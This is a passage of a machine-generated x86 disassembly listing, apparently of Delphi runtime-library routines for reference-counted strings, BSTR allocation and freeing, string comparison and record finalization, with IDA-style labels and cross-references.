loc_200041F3: ; CODE XREF: sub_200041D0+1Cj add edx, 2 loc_200041F6: ; CODE XREF: sub_200041D0+16j add edx, 2 loc_200041F9: ; CODE XREF: sub_200041D0+10j add edx, 2 loc_200041FC: ; CODE XREF: sub_200041D0+Aj mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_20004203: ; CODE XREF: sub_200041D0+4j jmp sub_20004104 sub_200041D0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000420C proc near ; CODE XREF: sub_2000EB50+B8p ; sub_2001028C+3Cp ... xor ecx, ecx mov cl, [edx] inc edx jmp sub_20004098 sub_2000420C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004218 proc near ; CODE XREF: sub_200059EC+36p ; sub_20008990+98p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_20004225 not ecx loc_20004225: ; CODE XREF: sub_20004218+9j pop eax add ecx, eax pop eax pop edi jmp sub_20004098 sub_20004218 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20004230 proc near ; CODE XREF: sub_2000C1F0+2Ap ; sub_2000C25C+2Ap ... xor ecx, ecx test edx, edx jz short loc_2000423B mov ecx, [edx-4] shr ecx, 1 loc_2000423B: ; CODE XREF: sub_20004230+4j jmp sub_20004104 sub_20004230 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004244 proc near ; CODE XREF: sub_20002BFC+3Ep ; sub_20002BFC+56p ... test eax, eax jz short locret_2000424B mov eax, [eax-4] locret_2000424B: ; CODE XREF: sub_20004244+2j retn sub_20004244 endp ; =============== S U B R O U T I N E ======================================= sub_2000424C proc near ; CODE XREF: sub_20004290+1Dj ; sub_20004290+6Ej ... test edx, edx jz short locret_2000428F mov ecx, [eax] test ecx, ecx jz sub_20003FFC push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_20004284 call sub_200045D0 mov eax, esi mov ecx, [esi-4] loc_20004277: ; CODE XREF: sub_2000424C+41j mov edx, [ebx] add edx, edi call sub_200027FC pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_20004284: ; CODE XREF: sub_2000424C+1Fj call sub_200045D0 mov eax, [ebx] mov ecx, edi jmp short loc_20004277 ; --------------------------------------------------------------------------- locret_2000428F: ; CODE XREF: sub_2000424C+2j retn sub_2000424C endp ; =============== S U B R O U T I N E ======================================= sub_20004290 proc near ; CODE XREF: sub_2000EB50+E2p ; sub_2000EB50+F5p ... test edx, edx jz short loc_200042F5 test ecx, ecx jz sub_20003FFC cmp edx, [eax] jz short loc_200042FC cmp ecx, [eax] jz short loc_200042B2 push eax push ecx call sub_20003FFC pop edx pop eax jmp sub_2000424C ; --------------------------------------------------------------------------- loc_200042B2: ; CODE XREF: sub_20004290+12j push ebx push esi push edi mov ebx, edx mov esi, ecx push eax mov eax, [ebx-4] add eax, [esi-4] call sub_2000406C mov edi, eax mov edx, eax mov eax, ebx mov ecx, [ebx-4] call sub_200027FC mov edx, edi mov eax, esi mov ecx, [esi-4] add edx, [ebx-4] call sub_200027FC pop eax mov edx, edi test edi, edi jz short loc_200042EC dec dword ptr [edi-8] loc_200042EC: ; CODE XREF: sub_20004290+57j call sub_20003FFC pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_200042F5: ; CODE XREF: sub_20004290+2j mov edx, ecx jmp sub_20003FFC ; --------------------------------------------------------------------------- loc_200042FC: ; CODE XREF: sub_20004290+Ej mov edx, ecx jmp sub_2000424C sub_20004290 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20004304 proc near ; CODE XREF: sub_2000B3DC+27Bp ; sub_2000B3DC+298p ... var_14 = dword ptr -14h push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_20004321 cmp [eax], ecx jnz short loc_20004321 mov edi, ecx mov eax, [ecx-4] dec edx jmp short loc_20004323 ; --------------------------------------------------------------------------- loc_20004321: ; CODE XREF: sub_20004304+Fj ; sub_20004304+13j xor eax, eax loc_20004323: ; CODE XREF: sub_20004304+1Bj ; sub_20004304+31j mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_20004334 add eax, [ecx-4] cmp edi, ecx jnz short loc_20004334 xor edi, edi loc_20004334: ; CODE XREF: sub_20004304+25j ; sub_20004304+2Cj dec edx jnz short loc_20004323 test edi, edi jz short loc_20004352 mov edx, eax mov eax, [esp+14h+var_14] mov esi, [edi-4] call sub_200045D0 mov edi, [esp+14h+var_14] push dword ptr [edi] add esi, [edi] dec ebx jmp short loc_2000435A ; --------------------------------------------------------------------------- loc_20004352: ; CODE XREF: sub_20004304+35j call sub_2000406C push eax mov esi, eax loc_2000435A: ; CODE XREF: sub_20004304+4Cj ; sub_20004304+6Bj mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_2000436E mov ecx, [eax-4] add esi, ecx call sub_200027FC loc_2000436E: ; CODE XREF: sub_20004304+5Ej dec ebx jnz short loc_2000435A pop edx pop eax test edi, edi jnz short loc_20004383 test edx, edx jz short loc_2000437E dec dword ptr [edx-8] loc_2000437E: ; CODE XREF: sub_20004304+75j call sub_20003FFC loc_20004383: ; CODE XREF: sub_20004304+71j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_20004304 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20004390 proc near ; CODE XREF: sub_200106B4+6Bp ; sub_20012440+Ep ... push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_2000442E test esi, esi jz short loc_2000440B test edi, edi jz short loc_20004412 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_200043B3 add edx, eax loc_200043B3: ; CODE XREF: sub_20004390+1Fj push edx shr edx, 2 jz short loc_200043DF loc_200043B9: ; CODE XREF: sub_20004390+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_20004419 dec edx jz short loc_200043D9 mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_20004419 add esi, 8 add edi, 8 dec edx jnz short loc_200043B9 jmp short loc_200043DF ; --------------------------------------------------------------------------- loc_200043D9: ; CODE XREF: sub_20004390+32j add esi, 4 add edi, 4 loc_200043DF: ; CODE XREF: sub_20004390+27j ; sub_20004390+47j pop edx and edx, 3 jz short loc_20004407 mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_2000442E dec edx jz short loc_20004407 cmp ch, bh jnz short loc_2000442E dec edx jz short loc_20004407 and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_2000442E loc_20004407: ; CODE XREF: sub_20004390+53j ; sub_20004390+5Ej ... add eax, eax jmp short loc_2000442E ; --------------------------------------------------------------------------- loc_2000440B: ; CODE XREF: sub_20004390+11j mov edx, [edi-4] sub eax, edx jmp short loc_2000442E ; --------------------------------------------------------------------------- loc_20004412: ; CODE XREF: sub_20004390+15j mov eax, [esi-4] sub eax, edx jmp short loc_2000442E ; --------------------------------------------------------------------------- loc_20004419: ; CODE XREF: sub_20004390+2Fj ; sub_20004390+3Cj pop edx cmp cl, bl jnz short loc_2000442E cmp ch, bh jnz short loc_2000442E shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_2000442E cmp ch, bh loc_2000442E: ; CODE XREF: sub_20004390+9j ; sub_20004390+5Bj ... pop edi pop esi pop ebx retn sub_20004390 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004434 proc near ; CODE XREF: sub_2001290C+12p ; sub_20012A88+14p ... test eax, eax jz short locret_20004442 mov edx, [eax-8] inc edx jle short locret_20004442 lock inc dword ptr [eax-8] locret_20004442: ; CODE XREF: sub_20004434+2j ; sub_20004434+8j retn sub_20004434 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004444 proc near ; CODE XREF: sub_20002BFC+46p ; sub_200057F4+5Ap ... test eax, eax jz short loc_2000444A retn ; --------------------------------------------------------------------------- byte_20004449 db 0 ; DATA XREF: sub_20004444:loc_2000444Ao ; --------------------------------------------------------------------------- loc_2000444A: ; CODE XREF: sub_20004444+2j mov eax, offset byte_20004449 retn sub_20004444 endp ; =============== S U B R O U T I N E ======================================= sub_20004450 proc near ; CODE XREF: sub_20004494j ; sub_2000449Cj mov edx, [eax] test edx, edx jz short loc_2000448E mov ecx, [edx-8] dec ecx jz short loc_2000448E push ebx mov ebx, eax mov eax, [edx-4] call sub_2000406C mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_200027FC pop eax mov ecx, [eax-8] dec ecx jl short loc_2000448B lock dec dword ptr [eax-8] jnz short loc_2000448B lea eax, [eax-8] call sub_20002688 loc_2000448B: ; CODE XREF: sub_20004450+2Bj ; sub_20004450+31j mov edx, [ebx] pop ebx loc_2000448E: ; CODE XREF: sub_20004450+4j ; sub_20004450+Aj mov eax, edx retn sub_20004450 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_20004494 proc near ; CODE XREF: sub_200044E4+9p jmp sub_20004450 sub_20004494 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_2000449C proc near ; CODE XREF: sub_20011EB4+25p ; sub_2001290C+40p ... jmp sub_20004450 sub_2000449C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200044A4 proc near ; CODE XREF: sub_200070C4+43p ; sub_200075F4+20p ... arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_200044D6 mov ebx, [eax-4] test ebx, ebx jz short loc_200044D6 dec edx jl short loc_200044CE cmp edx, ebx jge short loc_200044D6 loc_200044B7: ; CODE XREF: sub_200044A4+2Cj sub ebx, edx test ecx, ecx jl short loc_200044D6 cmp ecx, ebx jg short loc_200044D2 loc_200044C1: ; CODE XREF: sub_200044A4+30j add edx, eax mov eax, [esp+4+arg_0] call sub_20004098 jmp short loc_200044DF ; --------------------------------------------------------------------------- loc_200044CE: ; CODE XREF: sub_200044A4+Dj xor edx, edx jmp short loc_200044B7 ; --------------------------------------------------------------------------- loc_200044D2: ; CODE XREF: sub_200044A4+1Bj mov ecx, ebx jmp short loc_200044C1 ; --------------------------------------------------------------------------- loc_200044D6: ; CODE XREF: sub_200044A4+3j ; sub_200044A4+Aj ... mov eax, [esp+4+arg_0] call sub_20003FA8 loc_200044DF: ; CODE XREF: sub_200044A4+28j pop ebx retn 4 sub_200044A4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_200044E4 proc near ; CODE XREF: sub_20012A88+4Bp ; sub_20012A88+A7p ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx call sub_20004494 mov edx, [ebx] test edx, edx jz short loc_20004528 mov ecx, [edx-4] dec esi jl short loc_20004528 cmp esi, ecx jge short loc_20004528 test edi, edi jle short loc_20004528 sub ecx, esi cmp edi, ecx jle short loc_2000450E mov edi, ecx loc_2000450E: ; CODE XREF: sub_200044E4+26j sub ecx, edi add edx, esi lea eax, [edi+edx] call sub_200027FC mov edx, [ebx] mov eax, ebx mov edx, [edx-4] sub edx, edi call sub_200045D0 loc_20004528: ; CODE XREF: sub_200044E4+12j ; sub_200044E4+18j ... pop edi pop esi pop ebx retn sub_200044E4 endp ; =============== S U B R O U T I N E ======================================= sub_2000452C proc near ; CODE XREF: sub_20012CD0+114p test eax, eax jz short locret_20004586 push ebx push esi push edi push ebp mov ebx, eax mov esi, edx mov edi, ecx mov edx, [edx] push edx test edx, edx jz short loc_20004544 mov edx, [edx-4] loc_20004544: ; CODE XREF: sub_2000452C+13j dec edi jge short loc_20004549 xor edi, edi loc_20004549: ; CODE XREF: sub_2000452C+19j cmp edi, edx jle short loc_2000454F mov edi, edx loc_2000454F: ; CODE XREF: sub_2000452C+1Fj mov ebp, [ebx-4] mov eax, esi add edx, ebp call sub_200045D0 pop eax cmp eax, ebx jnz short loc_20004562 mov ebx, [esi] loc_20004562: ; CODE XREF: sub_2000452C+32j mov eax, [esi] lea edx, [edi+ebp] mov ecx, [eax-4] sub ecx, edx add edx, eax add eax, edi call sub_200027FC mov eax, ebx mov edx, [esi] mov ecx, ebp add edx, edi call sub_200027FC pop ebp pop edi pop esi pop ebx locret_20004586: ; CODE XREF: sub_2000452C+2j retn sub_2000452C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004588 proc near ; CODE XREF: sub_200096E4+242p ; sub_20012CD0+46p ... test eax, eax jz short locret_200045CC test edx, edx jz short loc_200045C1 push ebx push esi push edi mov esi, eax mov edi, edx mov ecx, [edi-4] push edi mov edx, [esi-4] dec edx js short loc_200045BC mov al, [esi] inc esi sub ecx, edx jle short loc_200045BC loc_200045A8: ; CODE XREF: sub_20004588+32j repne scasb jnz short loc_200045BC mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi jz short loc_200045C4 mov ecx, ebx jmp short loc_200045A8 ; --------------------------------------------------------------------------- loc_200045BC: ; CODE XREF: sub_20004588+17j ; sub_20004588+1Ej ... pop edx xor eax, eax jmp short loc_200045C9 ; --------------------------------------------------------------------------- loc_200045C1: ; CODE XREF: sub_20004588+6j xor eax, eax retn ; --------------------------------------------------------------------------- loc_200045C4: ; CODE XREF: sub_20004588+2Ej pop edx mov eax, edi sub eax, edx loc_200045C9: ; CODE XREF: sub_20004588+37j pop edi pop esi pop ebx locret_200045CC: ; CODE XREF: sub_20004588+2j retn sub_20004588 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200045D0 proc near ; CODE XREF: sub_2000283C+7Fp ; sub_20004104+5Dp ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_20004625 mov eax, [ebx] test eax, eax jz short loc_20004606 cmp dword ptr [eax-8], 1 jnz short loc_20004606 sub eax, 8 add edx, 9 push eax mov eax, esp call sub_200026A8 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_2000462E ; --------------------------------------------------------------------------- loc_20004606: ; CODE XREF: sub_200045D0+11j ; sub_200045D0+17j mov eax, edx call sub_2000406C mov edi, eax mov eax, [ebx] test eax, eax jz short loc_20004625 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_20004620 mov ecx, esi loc_20004620: ; CODE XREF: sub_200045D0+4Cj call sub_200027FC loc_20004625: ; CODE XREF: sub_200045D0+Bj ; sub_200045D0+43j mov eax, ebx call sub_20003FA8 mov [ebx], edi loc_2000462E: ; CODE XREF: sub_200045D0+34j pop edi pop esi pop ebx retn sub_200045D0 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_2000463C loc_20004634: ; CODE XREF: sub_2000463C+Ej ; sub_200046A0+1Dj ... mov al, 1 jmp sub_20002750 ; END OF FUNCTION CHUNK FOR sub_2000463C ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_2000463C proc near ; CODE XREF: sub_200048AC+Fp ; FUNCTION CHUNK AT 20004634 SIZE 00000007 BYTES test eax, eax jz short locret_20004650 push eax ; ui push 0 ; strIn call SysAllocStringLen test eax, eax jz loc_20004634 locret_20004650: ; CODE XREF: sub_2000463C+2j retn sub_2000463C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004654 proc near ; CODE XREF: sub_200048AC+38p xchg edx, [eax] test edx, edx jz short locret_20004660 push edx ; bstrString call SysFreeString locret_20004660: ; CODE XREF: sub_20004654+4j retn sub_20004654 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004664 proc near ; CODE XREF: sub_200046A0+2j ; sub_200046A0+Dj ... mov edx, [eax] test edx, edx jz short locret_20004678 mov dword ptr [eax], 0 push eax push edx ; bstrString call SysFreeString pop eax locret_20004678: ; CODE XREF: sub_20004664+4j retn sub_20004664 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000467C proc near ; CODE XREF: sub_2000493C+70p ; sub_2000DB90+B9p ... push ebx push esi mov ebx, eax mov esi, edx loc_20004682: ; CODE XREF: sub_2000467C+1Cj mov eax, [ebx] test eax, eax jz short loc_20004694 mov dword ptr [ebx], 0 push eax ; bstrString call SysFreeString loc_20004694: ; CODE XREF: sub_2000467C+Aj add ebx, 4 dec esi jnz short loc_20004682 pop esi pop ebx retn sub_2000467C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200046A0 proc near ; CODE XREF: sub_20004A4C+81p ; sub_20004B68+61p ... test edx, edx jz sub_20004664 mov ecx, [edx-4] shr ecx, 1 jz sub_20004664 push ecx ; len push edx ; psz push eax ; pbstr call SysReAllocStringLen test eax, eax jz loc_20004634 retn sub_200046A0 endp ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_200046C4(int cbMultiByte) sub_200046C4 proc near ; CODE XREF: sub_200047B0:loc_200047B9j lpMultiByteStr = dword ptr -1014h strIn = word ptr -1010h push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp+1014h+lpMultiByteStr], edx mov edi, eax test esi, esi jg short loc_200046E6 mov eax, edi call sub_20004664 jmp short loc_20004743 ; --------------------------------------------------------------------------- loc_200046E6: ; CODE XREF: sub_200046C4+17j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_20004719 push esi ; cbMultiByte lea eax, [esp+1018h+strIn] mov ecx, [esp+1018h+lpMultiByteStr] ; lpMultiByteStr mov edx, 7FFh ; cchWideChar call sub_200040E8 mov ebx, eax test ebx, ebx jle short loc_20004719 lea edx, [esp+1014h+strIn] ; strIn mov eax, edi mov ecx, ebx ; ui call sub_20004750 jmp short loc_20004743 ; --------------------------------------------------------------------------- loc_20004719: ; CODE XREF: sub_200046C4+2Bj ; sub_200046C4+44j mov ebx, ebp mov eax, edi mov edx, ebx call sub_200048AC push esi ; cbMultiByte mov eax, [edi] mov ecx, [esp+1018h+lpMultiByteStr] ; lpMultiByteStr mov edx, ebx ; cchWideChar call sub_200040E8 mov ebx, eax test ebx, ebx jge short loc_2000473A xor ebx, ebx loc_2000473A: ; CODE XREF: sub_200046C4+72j mov eax, edi mov edx, ebx call sub_200048AC loc_20004743: ; CODE XREF: sub_200046C4+20j ; sub_200046C4+53j add esp, 1004h pop ebp pop edi pop esi pop ebx retn sub_200046C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_20004750(UINT ui, OLECHAR *strIn) sub_20004750 proc near ; CODE XREF: sub_200046C4+4Ep ; sub_20004774:loc_200047A7j ... test ecx, ecx jz sub_20004664 push eax push ecx ; ui push edx ; strIn call SysAllocStringLen test eax, eax jz loc_20004634 pop edx push dword ptr [edx] ; bstrString mov [edx], eax call SysFreeString retn sub_20004750 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004774 proc near ; CODE XREF: sub_2000DB90+66p ; sub_2000DD44+17Cp ... xor ecx, ecx test edx, edx jz short loc_200047A7 push edx loc_2000477B: ; CODE XREF: sub_20004774+21j cmp cx, [edx] jz short loc_200047A0 cmp cx, [edx+2] jz short loc_2000479D cmp cx, [edx+4] jz short loc_2000479A cmp cx, [edx+6] jz short loc_20004797 add edx, 8 jmp short loc_2000477B ; --------------------------------------------------------------------------- loc_20004797: ; CODE XREF: sub_20004774+1Cj add edx, 2 loc_2000479A: ; CODE XREF: sub_20004774+16j add edx, 2 loc_2000479D: ; CODE XREF: sub_20004774+10j add edx, 2 loc_200047A0: ; CODE XREF: sub_20004774+Aj mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_200047A7: ; CODE XREF: sub_20004774+4j jmp sub_20004750 sub_20004774 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200047B0 proc near ; CODE XREF: sub_20005944+1Ep ; sub_2000C48C+43p ... xor ecx, ecx test edx, edx jz short loc_200047B9 mov ecx, [edx-4] loc_200047B9: ; CODE XREF: sub_200047B0+4j jmp sub_200046C4 sub_200047B0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200047C0 proc near ; CODE XREF: sub_200057F4+51p ; sub_200058A0+52p test eax, eax jz short loc_200047C8 retn ; --------------------------------------------------------------------------- align 2 word_200047C6 dw 0 ; DATA XREF: sub_200047C0:loc_200047C8o ; --------------------------------------------------------------------------- loc_200047C8: ; CODE XREF: sub_200047C0+2j mov eax, offset word_200047C6 retn sub_200047C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200047D0 proc near ; CODE XREF: sub_20004860+Ep ; sub_200048AC+18p ... test eax, eax jz short locret_200047D9 mov eax, [eax-4] shr eax, 1 locret_200047D9: ; CODE XREF: sub_200047D0+2j retn sub_200047D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200047DC proc near ; CODE XREF: sub_200057F4+24p push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz short loc_20004859 test esi, esi jz short loc_2000483C test edi, edi jz short loc_20004843 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_200047FB add edx, eax loc_200047FB: ; CODE XREF: sub_200047DC+1Bj push edx shr edx, 2 jz short loc_20004827 loc_20004801: ; CODE XREF: sub_200047DC+41j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_2000484A dec edx jz short loc_20004821 mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_2000484A add esi, 8 add edi, 8 dec edx jnz short loc_20004801 jmp short loc_20004827 ; --------------------------------------------------------------------------- loc_20004821: ; CODE XREF: sub_200047DC+2Ej add esi, 4 add edi, 4 loc_20004827: ; CODE XREF: sub_200047DC+23j ; sub_200047DC+43j pop edx and edx, 2 jz short loc_20004838 mov cx, [esi] mov bx, [edi] cmp cx, bx jnz short loc_20004859 loc_20004838: ; CODE XREF: sub_200047DC+4Fj add eax, eax jmp short loc_20004859 ; --------------------------------------------------------------------------- loc_2000483C: ; CODE XREF: sub_200047DC+Dj mov edx, [edi-4] sub eax, edx jmp short loc_20004859 ; --------------------------------------------------------------------------- loc_20004843: ; CODE XREF: sub_200047DC+11j mov eax, [esi-4] sub eax, edx jmp short loc_20004859 ; --------------------------------------------------------------------------- loc_2000484A: ; CODE XREF: sub_200047DC+2Bj ; sub_200047DC+38j pop edx cmp cx, bx jnz short loc_20004859 shr ecx, 10h shr ebx, 10h cmp cx, bx loc_20004859: ; CODE XREF: sub_200047DC+9j ; sub_200047DC+5Aj ... pop edi pop esi pop ebx retn sub_200047DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20004860 proc near ; CODE XREF: sub_2000DB90+78p ; sub_2000DD44+18Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov edi, ecx mov ebx, edx mov esi, eax mov eax, esi call sub_200047D0 cmp ebx, 1 jge short loc_2000487C xor ebx, ebx jmp short loc_20004883 ; --------------------------------------------------------------------------- loc_2000487C: ; CODE XREF: sub_20004860+16j dec ebx cmp eax, ebx jge short loc_20004883 mov ebx, eax loc_20004883: ; CODE XREF: sub_20004860+1Aj ; sub_20004860+1Fj test edi, edi jge short loc_2000488B xor eax, eax jmp short loc_20004893 ; --------------------------------------------------------------------------- loc_2000488B: ; CODE XREF: sub_20004860+25j sub eax, ebx cmp edi, eax jge short loc_20004893 mov eax, edi loc_20004893: ; CODE XREF: sub_20004860+29j ; sub_20004860+2Fj mov edx, ebx add edx, edx add edx, esi ; strIn mov ecx, [ebp+arg_0] xchg eax, ecx ; ui call sub_20004750 pop edi pop esi pop ebx pop ebp retn 4 sub_20004860 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200048AC proc near ; CODE XREF: sub_200046C4+5Bp ; sub_200046C4+7Ap ... push ebx push esi push edi mov esi, edx mov edi, eax xor ebx, ebx test esi, esi jle short loc_200048E0 mov eax, esi call sub_2000463C mov ebx, eax mov eax, [edi] call sub_200047D0 test eax, eax jle short loc_200048E0 cmp esi, eax jge short loc_200048D3 mov eax, esi loc_200048D3: ; CODE XREF: sub_200048AC+23j mov ecx, eax add ecx, ecx mov edx, ebx mov eax, [edi] call sub_200027FC loc_200048E0: ; CODE XREF: sub_200048AC+Bj ; sub_200048AC+1Fj mov eax, edi mov edx, ebx call sub_20004654 pop edi pop esi pop ebx retn sub_200048AC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200048F0 proc near ; CODE XREF: sub_20003558+12p ; sub_2000493C+AFp xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_20004902: ; CODE XREF: sub_200048F0+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_2000493C add esi, 8 dec edi jg short loc_20004902 mov eax, ebx pop edi pop esi pop ebx retn sub_200048F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004924 proc near ; CODE XREF: sub_2000493C+7Cp cmp ds:dword_2001400C, 0 jz short loc_20004934 call ds:dword_2001400C retn ; --------------------------------------------------------------------------- loc_20004934: ; CODE XREF: sub_20004924+7j mov al, 10h call sub_20002750 sub_20004924 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_2000493C proc near ; CODE XREF: sub_200048F0+20p ; sub_2000493C+99p ... cmp ecx, 0 jz locret_20004A25 push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_2000497F cmp al, 0Bh jz short loc_2000499C cmp al, 0Ch jz short loc_200049B3 cmp al, 0Dh jz short loc_200049C2 cmp al, 0Eh jz short loc_200049E0 cmp al, 0Fh jz loc_200049F6 cmp al, 11h jz loc_20004A05 jmp loc_20004A16 ; --------------------------------------------------------------------------- loc_2000497F: ; CODE XREF: sub_2000493C+1Cj cmp ecx, 1 mov eax, ebx jg short loc_20004990 call sub_20003FA8 jmp loc_20004A21 ; --------------------------------------------------------------------------- loc_20004990: ; CODE XREF: sub_2000493C+48j mov edx, ecx call sub_20003FCC jmp loc_20004A21 ; --------------------------------------------------------------------------- loc_2000499C: ; CODE XREF: sub_2000493C+20j cmp ecx, 1 mov eax, ebx jg short loc_200049AA call sub_20004664 jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_200049AA: ; CODE XREF: sub_2000493C+65j mov edx, ecx call sub_2000467C jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_200049B3: ; CODE XREF: sub_2000493C+24j ; sub_2000493C+82j mov eax, ebx add ebx, 10h call sub_20004924 dec edi jg short loc_200049B3 jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_200049C2: ; CODE XREF: sub_2000493C+28j push ebp mov ebp, edx loc_200049C5: ; CODE XREF: sub_2000493C+9Fj mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_2000493C dec edi jg short loc_200049C5 pop ebp jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_200049E0: ; CODE XREF: sub_2000493C+2Cj push ebp mov ebp, edx loc_200049E3: ; CODE XREF: sub_2000493C+B5j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_200048F0 dec edi jg short loc_200049E3 pop ebp jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_200049F6: ; CODE XREF: sub_2000493C+30j ; sub_2000493C+C5j mov eax, ebx add ebx, 4 call sub_200054F4 dec edi jg short loc_200049F6 jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_20004A05: ; CODE XREF: sub_2000493C+38j ; sub_2000493C+D6j mov eax, ebx mov edx, esi add ebx, 4 call sub_20004E50 dec edi jg short loc_20004A05 jmp short loc_20004A21 ; --------------------------------------------------------------------------- loc_20004A16: ; CODE XREF: sub_2000493C+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp sub_20002750 ; --------------------------------------------------------------------------- loc_20004A21: ; CODE XREF: sub_2000493C+4Fj ; sub_2000493C+5Bj ... pop edi pop esi pop ebx pop eax locret_20004A25: ; CODE XREF: sub_2000493C+3j retn sub_2000493C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004A28 proc near ; CODE XREF: sub_200112C4+34p mov ecx, 1 jmp sub_2000493C sub_20004A28 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004A34 proc near ; CODE XREF: sub_20004A4C+92p ; sub_20004B68+75p cmp ds:dword_20014014, 0 jz short loc_20004A44 call ds:dword_20014014 retn ; --------------------------------------------------------------------------- loc_20004A44: ; 